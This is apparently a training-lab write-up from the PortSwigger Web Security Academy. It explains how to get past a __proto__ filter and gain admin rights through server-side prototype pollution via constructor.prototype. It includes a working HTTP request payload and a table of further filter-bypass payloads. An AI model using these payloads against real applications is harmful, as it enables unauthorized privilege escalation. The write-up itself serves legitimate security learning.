PortSwigger — 2026.01.14
Bypassing Flawed Input Filters for Server-Side Prototype Pollution
Platform: PortSwigger Web Security Academy Vulnerability: Server-side Prototype Pollution with Filter Bypass Objective: Gain admin privileges via prototype pollution
Summary
Bypass __proto__ filtering by using the alternative constructor.prototype path to achieve the same prototype pollution.
The Filter
The application silently strips or ignores __proto__ keys in JSON input. No error is returned - the pollution just doesn’t work.
Testing:
{"__proto__":{"isAdmin":true}}
- No error returned
- But
isAdminnot polluted (admin access denied)
The Bypass
Why constructor.prototype Works
Both paths lead to the same place:
obj.__proto__ ──────────────────→ Object.prototype
obj.constructor.prototype ───────→ Object.prototype
↓
(Object)
obj.__proto__- Direct reference to prototypeobj.constructor- Reference to Object constructorobj.constructor.prototype- The constructor’s prototype (same as__proto__)
Payload
POST /my-account/change-address HTTP/2
Host: [lab-id].web-security-academy.net
Content-Type: application/json;charset=UTF-8
{
"address_line_1":"Wiener HQ",
"address_line_2":"One Wiener Way",
"city":"Wienerville",
"postcode":"BU1 1RP",
"country":"UK",
"sessionId":"[session]",
"constructor":{
"prototype":{
"isAdmin":true
}
}
}
Other Bypass Techniques Tested
Double-encoding / Nested __proto__
{"__pro__proto__to__":{"isAdmin":true}}
Result: Added literal key __pro__proto__to__ to response - filter doesn’t do recursive stripping.
When this bypass works:
Some filters naively remove __proto__ once:
- Input:
__pro__proto__to__ - Filter removes
__proto__:__proto__ - Pollution works!
This filter blocks the key entirely rather than string-replacing.
Bypass Techniques Reference
| Technique | Payload | When It Works |
|---|---|---|
| constructor.prototype | {"constructor":{"prototype":{...}}} |
Filter only blocks __proto__ key |
Nested __proto__ |
{"__pro__proto__to__":{...}} |
Filter does naive string replacement |
| Unicode encoding | {"\u005f\u005fproto\u005f\u005f":{...}} |
Filter checks literal string only |
| Case variation | {"__PROTO__":{...}} |
Filter is case-sensitive |
| JSON key injection | {"a].__proto__[b":{...}} |
Vulnerable JSON parsing |
Key Learnings
- Always test both paths:
__proto__andconstructor.prototype - Silent failures: No error doesn’t mean it worked - verify the effect
- Understand the equivalence: Both paths reach
Object.prototype - Test bypass techniques: Filters may be incomplete or naive
References
#prototype-pollution
#server-side
#filter-bypass
#constructor-prototype
#express
#portswigger
#webapp